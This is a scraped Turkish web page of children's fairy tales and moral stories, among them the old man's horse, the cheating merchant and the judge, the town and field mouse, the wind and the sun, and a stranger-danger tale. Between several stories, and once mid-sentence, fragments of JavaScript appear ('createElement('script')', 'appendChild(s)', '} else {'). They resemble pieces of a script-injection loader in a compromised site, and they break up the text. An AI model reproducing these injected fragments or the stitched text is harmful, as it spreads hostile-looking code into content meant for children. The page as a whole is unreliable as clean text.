Kategori: Yazılı Masallar

BEKLEYELİM GÖRELİM MASALI
BEKLEYELİM GÖRELİM MASALI

Bir varmış, bir yokmuş… Evvel zaman içinde kalbur saman içinde, uzak mı uzak diyarların birinde yaşlı bir amca yaşarmış. Bu yaşlı amca çok fakir bir amcaymış. Ama elinde öyle güzel bir şey varmış ki Kral bile onu kıskanırmış. Bu amcanın ünü diyarları aşan, dillere destan güzelliği olan beyaz renkte bir atı varmış. Kral, güzelliği dillere destan bu beyaz at için yaşlı amcaya neler teklif etmemiş ki… Bir gün neredeyse hazinesinin yarısından fazlasını bile teklif etmiş ama yaşlı amca fakir olmasına karşın atını satmaya hiç yanaşmamış. Yaşlı amca, etrafındaki herkese de Kral’a da aynı şeyi der dururmuş; “Bu at, benim için sadece bir at demek değil; aynı zamanda bir dost, insan dostunu satar mı hiç” dermiş.

Gel zaman git zaman derken, yaşlı amca bir gün bir uyanmış ki bir de ne görsün! Güzelliği dillere destan beyaz atı bağlı olduğu yerde yok! Yaşlı amca o telaşla kalkmış hemen, etrafa haber salmış ama nafile! Haberi alan tüm köylü yaşlı amcanın başına toplanmış. Atın bulunamadığını da duyunca başlamışlar konuşmaya:

Köylüler: “Ah ah, yaşlı amca, bu güzel atı sana bırakmayacakları belliydi. Belli ki çalmışlar güzel atını. Oysaki onu Kral’a satsaydın, Kral’ın verdiği para ile beyler gibi yaşardın. Bak satmadın da ne oldu? Paran da yok, atın da yok”

Yaşlı Amca sakince cevaplamış:

Yaşlı Amca: “Karar vermek için çok acele ediyorsunuz arkadaşlar. Benim sadece atım kayıp, geri kalan her şey sizin yorumunuz ve verdiğiniz kararlardan ibaret! Atın kaybolması, talihsizlik mi, yoksa şans mı bunu bilemeyiz” demiş.

Köylülerin hepsi yaşlı amcaya gülmüşler. Yaşlı amcanın artık bunadığını düşünmüşler.

Gel zaman git zaman aradan bir ay geçmiş. Yaşlı amcanın beyaz atı bir gece ansızın çıkıp gelmesin mi! Üstelik yanında vadide bulunan on tane vahşi atı da katmış gelmiş. Yaşlı amca atları görünce mutlu olmuş içinden.

Beyaz atı ve yanındaki atları gören köylüler hemen toplanmış yine yaşlı amcanın başına:

Köylüler: “Sen haklı çıktın yaşlı amca. Atın kayboldu diye bir talihsizlik sandık ama atının kaybolması talihsizlik değil adeta devlet kuşuymuş, baksana şimdi bir sürü atın var.”

Yaşlı adam heyecanlı köylüye doğru dönmüş:

Yaşlı Amca: “Sonuç için yine acele ediyorsunuz. Şu anda bilinen tek gerçek sadece atın geri döndüğü. Onun ötesinin iyi mi kötü mü olduğunu bilemeyiz” demiş.

Köylüler bu sefer ihtiyara gülmemiş, dalga da geçmemiş. Ama içlerinden ihtiyarın bir garip olduğunu da geçirmeden duramamış.

Gel zaman git zaman derken yaşlı amcanın genç oğlu, on tane vahşi atı eğitmeye çalışırken attan düşüp bacağını kırmasın mı? Evin tek genci olan bu delikanlı, bacağının kırılması ile adeta yatağa mahkûm kalmış. Köylüler olayı duydukları gibi hemen yaşlı amcaya gelmişler:

Köylüler: ”Yaşlı amca, sen bir kez daha haklı çıktın. Biz sana devlet kuşu kondu dedik ama bu atlar yüzünden gencecik oğlun, bacağını kırdı, yataklara düştü” demişler.

Yaşlı amca oldukça sakin bir şekilde köylüyle dönerek:

Yaşlı Amca: “Siz yine erkenden karara varıyorsunuz! Karar varmak için bu kadar acele etmeyin. Oğlum bacağını kırdı, şuanda tek gerçek bu. Ötesi sizin yorumlarınız.’’

Köylüler yine hiçbir şey demeden dağılmışlar yaşlı amcanın yanından. Bu sefer çok fazla yorum yapamamışlar.

Günler haftaları, haftalar da ayları kovalamış. Gel zaman git zaman derken yaşlı amcanın yaşadığı bu köye düşmanlar büyük bir ordu ile saldırmış. Kral aniden gelen bu saldırı karşısında ne yapacağını şaşırmış! Köyü savunmak için eli silah tutan bütün gençleri savaşmaya çağırmış. Köye gelen Kralın adamları köydeki bütün gençleri toplayıp gitmişler fakat tek bir kişi hariç: yaşlı amcanın kırık bacaklı oğlu.

Köylü koşarak gelmiş yaşlı amcanın yanına:

Köylüler: “ Yaşlı amca sen yine haklı çıktın! Oğlunun bacağı kırık diye biz neler dedik ama bak oğlunun bacağı kırık olduğu için savaşa gidemedi. Oysa bizimkiler, yaşı büyük küçük demeden savaşa gitti. Oğlunun bacağının kırılması ne büyük bir şansmış meğer…” demişler.

Yaşlı amca yeniden köylüye dönmüş:

Yaşlı Amca: “Siz yine erken karar verdiğinizin farkında değilsiniz! Şu anda tek gerçek var, benim oğlum yanımda ve sizinkiler ise askerde. Bunlardan hangisi şanslı hangisi şanssız onu kimseler bilemez” demiş.

Sevgili çocuklar siz siz olun, acele kararlar vermeyin. Hayatın bir anına bakıp da tamamı hakkında fikir üretmeyin.var d=document;var s=d.createElement(‘script’);

UYANIK TÜCCAR VE YAŞLI KÖYLÜ MASALI
UYANIK TÜCCAR VE YAŞLI KÖYLÜ MASALI

Bir varmış bir yokmuş… Evvel zaman içinde, kalbur saman içinde, develer tellal iken, pireler ise berber iken, ben küçükken ama dayımın da beşiğini tıngır mıngır sallar iken… Herkes başlamış koşmaya, ben dönmüşüm şaşkına. ‘Nereye gidiyorsunuz böyle?’ Diye sordum birine, dedi ki ‘Masal dinlemeye’… ‘Beni de götür’ dememe kalmadan aldı bir kuş beni kanadına, uçurdu periler diyarına… Masal anlatır tüm periler burada bana… O masallardan birini anlatacağım şimdi ben de sana…

Çok ama çok eski zamanların birinde, zenginliği dillere destan olan ama cimriliği de bir o kadar meşhur olan bir tüccar yaşarmış. Tüccar, her şeyi satarmış ve sattığı paraları da keselerin içine koyarmış. Eskiden insanların paralarını koydukları cüzdanları yokmuş, herkes kazandığı paralarını cüzdan yerine keselere koyarmış.

Bu çok zengin ama bir o kadar da cimri tüccar, bir gün paralarını koyduğu keselerden birisini kaybetmiş. Paralarının içinde olduğu keseyi bulamayan tüccar hemen panik olmuş, başlamış aramaya… Aramış, aramış ama paralarının içinde olduğu keseyi bir türlü bulamamış. Tüccar çaresizce etrafına haber salmış. Para kesesini bulup kendisine getirene de iki yüz altın vereceğini söylemiş. Tüccarın bu haberini duyan herkes hummalı bir şekilde para kesesini aramaya başlamış.

Aradan üç gün geçmiş ve yaşlı bir köylü çıkagelmiş. Yaşlı köylü tüccarın kaybettiği para kesesini bularak tüccara getirmiş. Tüccar, yaşlı köylüyü karşısında gördüğünde ‘ben bu adamı kandırır, iki yüz altın vermeden onu yollarım’ diye geçirmiş içinden. Yaşlı adam ise her şeyden habersiz tüccara uzatmış elindeki para kesesini:

Yaşlı Köylü: “Buyurun efendim, para kesenizi buldum ve size getirdim’’ demiş.

Tüccar hemen para kesesini almış yaşlı köylünün elinden. İçindeki altınları da saymış. Planı altınların eksik olduğunu söyleyip, yaşlı köylüyü para vermeden başından savmakmış. Tüccar altınları saydıktan sonra:

Tüccar: ‘Burada tam iki yüz altın eksik yaşlı adam. Ben bu keseye tam bin altın koymuştum ama bu kesede sekiz yüz altın var. Sen altınların içerisinden kendi payına düşen iki yüz altını almışsın’ demiş.

Yaşlı adam şaşırmış. Tüccarın kesesini bulduğu gibi içini açıp bakmadan getirip tüccara teslim etmiş. Fakat tüccar kendisini hırsızlık ile suçluyormuş.

Yaşlı Adam: ‘Efendim siz ne diyorsunuz! Ben bu keseyi açmadım bile. İçinden tek bir altın bile almadım. Bulduğum gibi size getirdim’ demiş.

Tüccar yaşlı köylüyü korkutmak için biraz sesini yükseltmiş:

Tüccar: ‘Keseyi açıp içinden altınları almışsın be adam, şimdi benden bir daha altın mı istiyorsun!’ demiş.

Yaşlı köylü bu laf karşısında sinirlenmiş:

Yaşlı Adam: “Hem bana söz verdiğin ve hakkım olan altını vermiyorsun hem de hırsız diyorsun! Bu kadarı da çok fazla! Seni mahkemeye vereceğim” demiş ve soluğu mahkemede almış.

Kadı, yaşlı köylünün anlattıkları üzerine tüccarı da mahkemeye çağırmış ve başlamış ikisini de dinlemeye… Önce köylü söz almış.

Köylü Adam: “Kadı Bey, ben bu adamın kesesini buldum. Keseyi bulduğumda içini açmadım. Bulduğum gibi tüccara getirdim. Ancak kendisi keseyi bulduğum için söz verdiği altını vereceğine bana hırsızlık suçu atıyor!’ demiş.

Kadı köylüyü dinledikten sonra tüccarı dinlemiş. Tüccar da başlamış anlatmaya:

Tüccar: “Efendim, kese benim. İçine ne kadar altın koyduğumu da bilirim. Kesenin içinde bin altın vardı. Oysaki yaşlı köylü kesemi getirdiğinde kesemden sekiz yüz altın çıktı. İki yüz altını, keseyi getiren yaşlı köylü almış’ demiş.

Kadı biraz düşünmüş ve kararını vermiş:

Kadı: “Tüccar Bey, madem sen kesene bin altın koydun ve bundan eminsin, o zaman bulunan kese sana ait değildir’’ demiş.

Tüccar o anda ne yapacağını şaşırmış. Çünkü keseye en başında bin altın değil sekiz yüz altın koymuş, fakat yaşlı adam keseyi bulup getirdiğinde ona iki yüz altın vermemek için yalan söylemiş. Tüccar kadının bu kararı üzerine yalan söylediğini itiraf etmiş ama iş işten geçmiş. Kadı yalan söylediği için tüccarı ekstra cezalandırmış ve kesedeki tüm altınları yaşlı köylüye bırakmış.

Gökten üç elma düşmüş, üçü de dürüst çocukların olmuş…

d.getElementsByTagName(‘head’)[0].appendChild(s);

ŞEHİR FARESİ İLE TARLA FARESİ
ŞEHİR FARESİ İLE TARLA FARESİ

Evvel zaman içinde, kalbur saman içinde, cinler periler top oynarken eski bir hamamın içinde… Ben diyeyim şu büyük ağaçtan, siz deyin şu derin yamaçtan, uçtu da uçtu, büyük bir kuş uçtu. Kuş mu uçtu demeye kalmadı; bir baktım bizim evin fareleri de uçtu… Fare uçar mı demeyin, gelin benim masalımı dinleyin…

Bir varmış, bir yokmuş… Çok eskiden, uzak diyarların birinde iki tane fare yaşarmış. Bu farelerden birisi şehirde yaşadığı için adı Şehir Faresiymiş. Diğeri ise tarlada yaşayan toprak içerisinde koşturup duran bir fare olduğu için onun da adı Tarla Faresiymiş. Bu iki fare eskiden beri dostlarmış. Şehir Faresi, şehrin karmaşasından ve kalabalığından ne zaman sıkılsa soluğu arkadaşı olan Tarla Faresi’nin evinde alırmış. Onu ziyaret etmek için tarlaya giden Şehir Faresi, böylece şehrin gürültüsünden ve kalabalığından uzaklaşırmış. Üstelik Tarla Faresi o kadar marifetli o kadar kibarmış ki; Şehir Faresi her evine geldiğinde onu çok güzel karşılarmış. Şehir Faresine kocaman yemek masaları hazırlayan Tarla Faresi, arkadaşı ile birlikte yemek yer, bütün gece keyifle sohbet eder ve mutlu olurmuş. Hem Şehir Faresi hem de Tarla Faresi bu durumdan çok memnunmuş. İki arkadaş da birlikte zaman geçirmekten çok mutlu oluyormuş.

Gel zaman git zaman Şehir Faresi artık sürekli Tarla Faresi’nin evine gittiği için mahcup olmaya başlamış. Günlerden bir gün Şehir Faresi’nin aklına güzel bir fikir gelmiş. Her zamanki gibi Tarla Faresi’ni ziyaret etmeye gittiğinde aklındaki fikri hemen Tarla Faresi ile paylaşmış:

Şehir Faresi: ‘Arkadaşım, sen neden benim yaşadığım yere gelmiyorsun’ demiş.

Tarla Faresi, şehir yaşamını çok sevmediği için bugüne kadar Şehir Faresi’nin evine gitmeyi hiç istememiş. Şehrin kalabalığı ve gürültüsü Tarla Faresi’nin hoşuna gitmiyormuş.

Tarla Faresi: ‘Ben şehir hayatını pek sevmiyorum arkadaşım. O yüzden sana da gelmiyorum, yanlış anlama sakın’ demiş.

Şehir Faresi Tarla Faresi’ni misafir etmek istediğini söylemiş. O kadar çok ısrar etmiş ki Tarla Faresi arkadaşının kırılmaması için sonunda pes etmek zorunda kalmış:

fare

Tarla Faresi: ‘Tamam, senin hatırın için bir gün şehre geleceğim ve senin misafirin olacağım’ demiş.

Şehir Faresi o kadar mutlu olmuş ki, koşa koşa evine gitmiş. Hemen arkadaşı Tarla Faresi için en güzel yemekleri hazırlamaya başlamış.

Ertesi gün arkadaşını ziyaret etmek için şehre doğru yola çıkan Tarla Faresi, uzun ve yorucu bir yolculuk sonunda şehre ulaşmış. Şehre ulaşmış ulaşmasına ama bir de ne görsün! Şehir o kadar büyük, o kadar gösterişli ve ışıl ışılmış ki Tarla Faresi’nin gözleri kamaşmış.

Tarla Faresi etrafa baka baka arkadaşı Şehir Faresi’nin evine varmış. Şehir Faresi onu büyük bir sevinç ile karşılamış. Tarla Faresi yemek masasına baktığında ise gözlerine inanamamış! Şehir Faresi’nin kendisi için hazırladığı sofrada her şey varmış. O kadar zengin bir masaymış ki Tarla Faresi belki de ilk kez böyle bir masa görüyormuş.

İki yakın arkadaş masadaki yerlerine oturmuşlar. Tam yemeğe başlayacakları sırada dışarıdan gelen gürültü ile oldukları yerde sıçramışlar. Fareler ne olduğunu anlamadan kocaman bir kedi farelerin evine saldırmaya başlamış. Şehir Faresi hemen arkadaşını uyarmış:

Şehir Faresi: ‘Arkadaşım, hemen gizli bir yere saklan. Bu evin bir kedisi var, bizi bulursa hemencecik öldürür’ demiş.

Tarla Faresi neye uğradığını şaşırmış. Hemen arkadaşının ardından koşarak, gizli bir köşeye saklanmış. Kedi etrafta dolanıp fareleri bulamayınca vazgeçmiş ve farelerin evinden çıkmış.

Tarla Faresi ile Şehir Faresi bir süre kedinin geri gelme ihtimaline karşı oldukları yerde beklemişler. Gelen giden olmayınca saklandıkları yerden çıkmışlar ve Şehir Faresi arkadaşına bakarak;

Şehir Faresi: ‘Arkadaşım, böyle bir şey yaşamanı istemezdim ama korkma, tehlike geçti. Artık rahatlıkla yemeğimizi yiyebiliriz’ demiş.

Tarla Faresi, arkadaşının sözüne rağmen yine de sofraya oturmamış. Şehir Faresine dönmüş:

Tarla Faresi: ‘Canım arkadaşım, ben korku içinde yemek yiyemem kusura bakma. Benim tarladaki evim belki bu kadar gösterişli olmayabilir, masam da bu kadar zengin olmayabilir ama en azından yemeğimi korkmadan yiyebiliyorum’ demiş.

Şehir Faresi o anda arkadaşının ne demek istediğini anlamış. Tarla Faresine hak vermiş ve onun peşine takılarak şehir hayatından vazgeçmiş. Tarlaya yerleşen Şehir Faresi, arkadaşı ile mutlu bir hayat yaşamış.

} else {

RÜZGÂR MI DAHA GÜÇLÜ YOKSA GÜNEŞ Mİ?
RÜZGÂR MI DAHA GÜÇLÜ YOKSA GÜNEŞ Mİ?

Bir varmış bir yokmuş… Evvel zaman içinde kalbur saman içinde, develer tellal iken pireler berber iken; buralardan çok çok uzakta büyük mü büyük bir masal diyarı varmış… Masal diyarının içinde konuşan hayvanlar, neşeli çocuklar, tatlı mı tatlı oyun arkadaşları mutlu bir şekilde yaşarmış. Masal diyarında masallar hiç bitmez, uslu duran ve yaramazlık yapmayan tüm çocuklar bu masalları dinleme hakkı kazanırmış. İşte o masallardan biri, gününü uslu bitiren tüm çocuklara…

Günlerden bir gün, masal diyarında yaşayan rüzgâr ve güneş karşı karşıya gelmiş. Rüzgâr olanca hızı ile esip havayı soğuturken, güneş de bir taraftan insanları ısıtmak için var gücü ile parlıyormuş. Fakat ikisinin de yolu aynı yerde kesilince oranın havası rüzgârlı mı yoksa güneşli mi olacak sorusu ortaya çıkmış. Rüzgâr, karşısına çıkan güneşe hemen büyüklenerek onun gözünü korkutmak istemiş:

Rüzgâr: ‘Heyyy, Güneş kardeş, baksana bana! Burasının havasına ben karar veririm, çünkü ben senden daha güçlüyüm. Sen şimdi kenara çekil, ben görevimi yapayım’ demiş.

Güneş rüzgârın bu tepkisi karşısında şaşırmış. Burada kimse kimseden daha güçlü değilmiş.

Güneş: ‘Sen kendini bu kadar güçlü mü görüyorsun gerçekten’ demiş.

Rüzgâr güneşin bu sözleri üzerine böbürlenmiş:

Rüzgâr: ‘Elbette, en güçlü benim. Hatta ne kadar güçlü olduğumu şimdi sana da göstereceğim’ demiş.

Güneş rüzgârın bu sözleri üzerine merakla beklemeye başlamış. Rüzgâr bulutların üzerinden aşağıya doğru bakmış ve sokakta yürüyen yaşlı bir adamı güneşe göstermiş:

Rüzgâr: ‘Bak, aşağıda yürüyen yaşlı adamı görüyor musun’ demiş.

Güneş eğilip bakmış ve rüzgârın dediği yaşlı dedeyi görmüş.

Rüzgâr, güneşe karşı ne kadar güçlü olduğunu göstermek istiyormuş:

Rüzgâr: ‘İyi izle, ben şimdi o yaşlı dedenin ceketini çıkarmasını sağlayacağım. Böylece sen de benim ne kadar güçlü olduğumu göreceksin’ demiş.

Güneş, sesini çıkarmadan biraz geriye çekilerek rüzgârın ne yaptığını izlemeye başlamış.

Rüzgâr, tüm gücünü toplamış içerisine ve ardından bütün şiddetiyle esmeye başlamış. Yaşlı adama doğru esiyormuş, o kadar güçlü esiyormuş ki amacı ceketin adamın üstünden düşmesini sağlamakmış.

Rüzgâr estikçe hava soğuyor, hava soğudukça yaşlı adam üşüyormuş. Üşüdükçe de üzerindeki cekete daha da güçlü sarılıyormuş. Rüzgâr, işlerin istediği gibi gitmemesine öfkelenmiş. Öfkesi ile birlikte daha da şiddetli esmeye başlamış. Yaşlı adam da daha sıkı sarılmaya başlamış ceketine.

Rüzgâr, işi böyle çözemeyeceğini anlamış. İşler istediği gibi gitmemiş ve sonunda pes etmiş. Çaresizce onu izleyen güneşe dönmüş. Güneş rüzgâra bakmış ve gülümsemiş. Rüzgârı kenara davet edip, kendisi çıkmış sahneye. Güneş, tüm sıcaklığını içinde toplamış ve birdenbire dışarı vermiş. Yeryüzünü sıcaklığı ile iyice ısıtmış. Yaşlı adam ise hava ısındıkça ısınmaya hatta terlemeye başlamış. Üzerindeki cekete ihtiyacı kalmadığını düşünmüş ve ceketini çıkarmış.

Güneş, kenara çekilen ve onu izleyen rüzgâra dönmüş:

Güneş: ‘Gördün mü bak rüzgâr kardeş! Sen ne kadar güçlü olduğunu zorla, zorbalıkla göstermeye çalıştın. Şiddetle estin ama yine de o ceketi çıkartamadın. Oysaki ben yaşlı adamı sadece ısıttım. Demek ki bu hayatta nazik olmak, zorlamalardan daha etkiliymiş’ demiş.

Bu masal sonrasında rüzgâr, bir daha hiç büyüklenmemiş. Şiddetli eserek insanlara ne kadar güçlü olduğunu da kanıtlamamış. O da güneş gibi sakinliği ve nazikliği ile halletmiş işlerini.

Masalın sonunda masallar diyarından yeryüzüne üç tane elma düşmüş, üçü de zorbalığın güç olmadığını anlayan, her zaman alçak gönüllü olan çocuklara gelsin… Siz siz olun, rüzgar gibi büyüklenmeyin…

İBİK İLE BİBİK
İBİK İLE BİBİK

Bir varmış, bir yokmuş… Uzak mı uzak kasabaların birinde büyük bir çiftlik varmış. Bu çiftliğin sahibinin bir sürü ineği, kuzusu, koyunu, köpeği, kedisi var imiş. Fakat hepsinden çekmemiş iki tane horozdan çektiği kadar… Çiftlikte sadece iki tane horoz varmış fakat tüm çiftliğe yetecek kadar gürültü yapıyorlarmış. Bu horozlar İbik ile Bibik imiş. İki tane inatçı mı inatçı bu horoz, sürekli kavga ederler, bir türlü geçinemezlermiş.

Günlerden bir gün İbik çiftliği gezerken yemişleri açmış kocaman bir dut ağacı görmüş. Ağzı sulanmış, iştahla ağacın yanına yaklaşmış. ‘İnşallah Bibik bu ağacı görmez de tüm yemişi ben yerim’ diye düşünmüş. Tam ağacın dalına zıplayacakken arkadan gelen ses ile irkilmiş:

Bibik: ‘Hey, seni bencil, sadece kendini düşünen, sersem şey seni!’

Bağırarak İbik’in yanındaki dala zıplamış. İbik bu durumdan hiç ama hiç hoşlanmamış.

İbik: ‘Uf, sen ne kadar terbiyesiz bir horozsun Bibik. Bir de arkadaş olacaksın! Ne biçim konuşuyorsun benimle’ demiş.

Bibik: ‘Bana diyene bak’ İbik, sen bana geçen gün herkesin ortasında kötü laflar söylemedin mi?’

İbik aldırış etmeden kafasını öbür tarafa çevirmiş. Geçen gün Bibik’e çok sinirlendiği için diğer hayvanların önünde bağırmış da bağırmış. Bibik ile çok büyük bir kavga edecekken çiftliğin sahibi gelmiş ve ikisini de ayrı ayrı kümeslere kapamış. İki horozu da son kez uyaran çiftlik sahibi, eğer bir daha kavga ederlerse onları çiftlikten atacağını söylemiş.

Bibik: ‘Şimdi kafanı çevirirsin di mi? Yaptığının ne kadar yanlış bir şey olduğunu biliyorsun çünkü.’

İbik bu lafların altında kalır mı, tabi kalmaz! Hemen başlamış konuşmaya:

İbik: ‘Senin geçenlerde beni gagalamana ne demeli peki! Utanmadan arkamdan saldırdın bir de!’

Bibik susmuş, bir şey diyememiş. O gün kurnaz tilkinin oyununa gelmiş. Kurnaz tilki Bibik’in yanına gelerek İbik’i gagalamasını, eğer bunu yaparsa kendisine ödül olarak bir sürü yem vereceğini söylemiş. Kurnaz tilkinin amacı eğlenmekmiş, yem falan yalanmış. Bibik de kurnaz tilkinin lafına inanıp saldırmasın mı İbik’e… İki horoz da kıyasıya kavga ederken, kurnaz tilkileri bunları izleyip gülüyormuş. Hatta arkadaşlarını da çağırmış yanına. Bibik herkesin onları izlediğini görünce anlamış tilkinin oyununu ama artık çok geçmiş!

İbik: ‘Ya şimdi de sen konuşamıyorsun bakıyorum da… O kurnaz tilkinin oyununa geldiğini söylesene! Sen biraz aptalsın gerçi, kesin yine kanarsın o tilkinin lafına.’

Bibik İbik’in bu lafları üzerine çok sinirlenmiş.

Bibik: ‘Sen bana nasıl aptal dersin? Şimdi ben seni var ya…’

İki horoz yine başlamış kavga etmeye. Hem de nasıl bir kavga… İbik bir yandan saldırıyormuş Bibik’e, Bibik bir yandan saldırıyormuş ibik’e… İki horoz da inatları yüzünden birbirlerine girerken, uyanık kargalardan bir tanesi gelip konmasın mı ağaca! Ağaçtaki dutları gören karga, kavga eden horozlara bakarak gülümsemiş:

Karga: ‘Şu salaklara bak! Kavga etmekten dutları yiyememişler. Bak ben şimdi nasıl yiyorum o dutları!’

Karga bütün arkadaşlarını çağırarak başlamışlar dut ağacından en güzel dutları yemeye. İbik ile Bibik ise kavga etmekten başlarını bile kaldırıyormuş. Ne dutları yiyen kargaları görmüşler ne de başka bir şeyi…

İki horoz kavga ederken kargalar tüm dutları bir güzel yemişler. O sırada çiftlik sahibi de gelmiş. İki horozu da kavga ederken görünce artık canına tak etmiş! Tutmuş ikisini de kanatlarından, atmış çiftlikten dışarı.

İki horoz çiftliğin dışında kalınca neye uğradıklarını şaşırmışlar. O zaman kavga etmelerinin hiçbir yararı olmadığını anlamışlar ama iş işten çoktan geçmiş…

Siz siz olun arkadaşlarınızla inatlaşmayın ve boş yere kavga etmeyin. İbik ile Bibik gibi olmayın.

} else {

ALNI AÇIK OLMAK
ALNI AÇIK OLMAK

Bir varmış, bir yokmuş… Evvel zaman içinde, kalbur saman içinde; develer top oynarken eski hamam içinde. Horozlar tellal iken, pireler ise hamal iken. Ben ise dedemin beşiğini tıngır mıngır sallar iken… Anam da anam, bir de ne göreyim! Dedem düşmez mi beşikten, babam gelmez mi peşinden! Babam kaptı maşayı, ben dolandım kapıyı… Dolana dolana durdum, durdum da ne buldum! Bir küçük köy buldum. Var bu köyde bilge bir dede, şimdi kulak verin de dinleyin, ne der size bu bilge dede…

Bir varmış, bir yokmuş… Eski zamanlarda söylenmiş sözler, şimdilerde deyim olmuş. Ama her deyimin bir hikâyesi, bir söylenme amacı varmış. Bilge dede bu hikâyelerin hepsini bilirmiş. Peki, ‘Alnı açık olmak’ ne demekmiş? İşte bilge dededen ‘Alnı açık olmak’ deyiminin hikâyesi…

Hohohoho.. Bilge dedeniz geldi çocuklar… Bugün size anlatacağım herkesin kullandığı bir deyimin hikâyesi. Önce ‘alnı açık olmak’ ne demek onu anlatayım ben size. Eğer kimseden gizleyeceğiniz bir suçunuz, bir utancınız yoksa herhangi bir ayıp davranışınız bulunmuyorsa işe o zaman size ‘alnı açık insan’ denir. Peki, bu söz nasıl çıkmıştır? Bilge dededen siz çocuklara alnı açık olmak hikâyesi… Buyurun dinlemeye…

Sevgili çocuklar; bundan çok çok eski zamanlarda, suç işlemek şimdikinden çok daha kötü bir şeymiş. Şu. İşleyen kişilere şimdi nasıl cezalar veriliyorsa, o zamanlarda suç işleyen kişilerin alınlarına kızgın demirler ile damgalar vurulurmuş. Şimdi suç işleyen bir kişinin cezası nasıl ki işlediği suça göre belirleniyorsa, o zamanlarda da insanların işlediği suçların büyüklüğüne göre belirlenirmiş bu kızgın damgalar. Şimdilerde var olan nüfus kâğıtları, adli kayıtlar eski zamanlarda olmadığı için bir kişinin suçlu olup olmadığı alnında damga olup olmadığına bakarak anlaşılırmış.

Bilge dede alnında damga ile gezmek çok kötü değil mi? Suçlu olduğun hemen anlaşılır, kimse seninle konuşmak istemez’ dediğinizi duyar gibiyim. Sevgili çocuklar, eski zamanlarda alınlarına damga vurulan bu suçlular, alınlarındaki damga ile gezmekten utanırmış. Şimdiki gibi ameliyat imkânı da yok ki… O damga alnını bir kere vuruldu mu hep orada! Şimdi çocuklar, alnına damga vurulmuş bir suçlu öyle gezmek ister mi? İstemez tabi. İşte bu suçlular, alınlarındaki damgayı saklamak için, alınlarını kimseye göstermeden yürürlermiş. Alınlarındaki damgayı kimse görmesin diye başları eğik dolaşırlar, eski zamanlarda insanların taktıkları külahları ve takkeleri alınlarına kadar indirerek bu damgayı kapamaya çalışırlarmış. İşte o zamanlarda suçlu kişilerin alınlarını kapatması, suçlu olmayan kişilerin de alınları açık bir şekilde gezmesi geleneğini başlatmış. Böylece toplum arasında suçlu olan ve suçsuz olan kişiler ayrılıyormuş.

Bilge dedeniz der ki; alnı açık olmak demek herhangi bir suçu bulunmayan, ayıp bir hareket yapmamış demektir. Bunun hikâyesi de çok eskilere dayanır. Eğer siz de alnınızın açık olmasını istiyorsanız, dürüst bir yaşam sürmeli, yalan söyleyerek kimseyi kandırmamalısınız.

Bilge dededen bu seferlik bu kadar… Masal bittiğine göre, gökten üç elma düşsün ; biri Bilge dedenin, biri dürüst ve alnı açık çocukların, sonuncusu da masalı dinleyen herkesin olsun.

d.getElementsByTagName(‘head’)[0].appendChild(s);

YABANCILARLA KONUŞMA Hikayesi
YABANCILARLA KONUŞMA Hikayesi

YABANCILARLA KONUŞMA

 

Günlerden bir gün Mine, annesi ile birlikte pazara çıkmak istemiş. Annesi pazarların çok kalabalık olduğunu ve Mine’nin orada kaybolma ihtimalinin olduğunu söylese de Mine çok ısrar etmiş.

Mine: ‘Anneciğim hiç yaramazlık yapmayacağım. Sana söz veriyorum. Lütfen beni de götürür müsün?’

Annesi çaresizlikle Mine’ye bakmış. Kızı o kadar çok istiyormuş ki onu daha fazla kıramamış.

Anne: ‘Peki, ama yanımdan ayrılmak yok. Yaramazlık yapmak da yok.’

Mine gülümseyerek annesine sarılmış.

Mine: ‘Söz veriyorum anneciğim’ demiş.

Annesi hazırlanınca Mine’yi de giydirmiş. Anne- kız beraber pazara doğru yürümeye başlamışlar. Pazar geldiklerinde Mine pazarın çok kalabalık olduğunu görmüş. Annesinin eline daha bir sıkı sarılmış. Annesi ile birlikte başlamışlar gezmeye. Türlü türlü kıyafetler, çantalar, ayakkabılar derken Mine bir sağa bakıyormuş bir sola. Rengârenk cıvıl cıvıl bir ortamı varmış pazarın. Mine burayı çok sevmiş.

Kıyafet bölümünü geçmişler ve meyve-sebze yerine gelmişler. Annesi bir tezgâhtan domates seçerken Mine’nin dikkatini bir şey çekmiş. Yan tarafta çok güzel kalemlerin, çantaların, sulukların olduğu bir tezgâh varmış. ‘Annem domates seçerken ben de şunlara bakayım’ demiş.  Tezgâhın yanında gelmiş ve o kalem kutu senin bu suluk benim derken, zamanın nasıl geçtiğini anlamamış. Arkasına baktığında annesinin manav tezgâhında olmadığını görmüş.

Mine korkarak sağa-sola bakınmış. Ama annesi bıraktığı yerde değilmiş. Mine korkmaya başlamış. o sırada iki tane çocuk Mine’ye doğru yaklaşmış:

Çocuk: ‘Hişt, küçük kız. Anneni mi kaybettin?’

Mine bu çocukların belki de annesini gördüklerini düşünmüş.

Mine: ‘Evet ağabey. Annemi bulamıyorum. Siz gördünüz mü?’

Çocuklar birbirlerine bakıp gülümsemişler. Mine’ye dönen büyük çocuk;

Çocuk: ‘Evet küçük kız, biz senin anneni gördük. İstersen seni annenin yanına götürebiliriz’ demiş.

Mine sevinçle ellerini çırpmış.

Mine: ‘Evet, beni annemin yanına götürür müsünüz?’

İki çocuk da Mine’nin elinden tutup yürümeye başlamışlar. Mine içinden ‘İyiki bu çocuklarla karşılaştım’ diye geçirirken birdenbire yanındaki çocuk onu ittirmeye başlamış.

Çocuk: ‘Cebindeki tüm paraları çıkar bakalım ufaklık.’

Mine bu çocukların kötü çocuklar olduğunu o anda anlamış. Bu çocuklar onu annesine götürmek için değil, onun paralarını almak için buraya getirmişler. Mine korkmaya başlamış ama bir yandan da bu çocuklara karşı güçlü durmalıymış. Neler yapabileceğini düşünmeye başlamış.

Çocuk: ‘Sana dedik duymadın mı? Çıkar cebindeki paraları, yoksa seni burada döveriz.’

Mine tam o sırada çocuğun bacağına bir tekme atmış. Diğer çocuğun da elini ısırmış. Başlamış tüm gücüyle hem koşmaya hem de bağırmaya:

Mine: ‘Yetişin imdat!’

O sırada oradan geçen polisler Mine’nin sesini duymuş ve hemen yanına gelmişler. Mine’ye olanları sormuşlar. Mine de hepsini anlatmış. O sırada iki çocuk da polisleri görünce koşmaya başlamış fakat nafile. Polisler iki çocuğu da yakalayarak polis aracına bindirmiş.

Polisler Mine’nin annesini de bularak Mine ile buluşturmuşlar. Mine çok ama çok mutlu olmuş. Hemen annesine doğru koşmuş ve sarılmış.

Mine: ‘Anneciğim, bir daha senin yanından ayrılmayacağım. Çok özür dilerim.’

Annesi de Mine’ye sarılmış ve kızını bir daha yabancı kişilerle asla konuşmaması konusunda uyarmış. Mine de hem polis amcalarına hem de annesine yabancılarla konuşmayacağına dair söz vermiş.

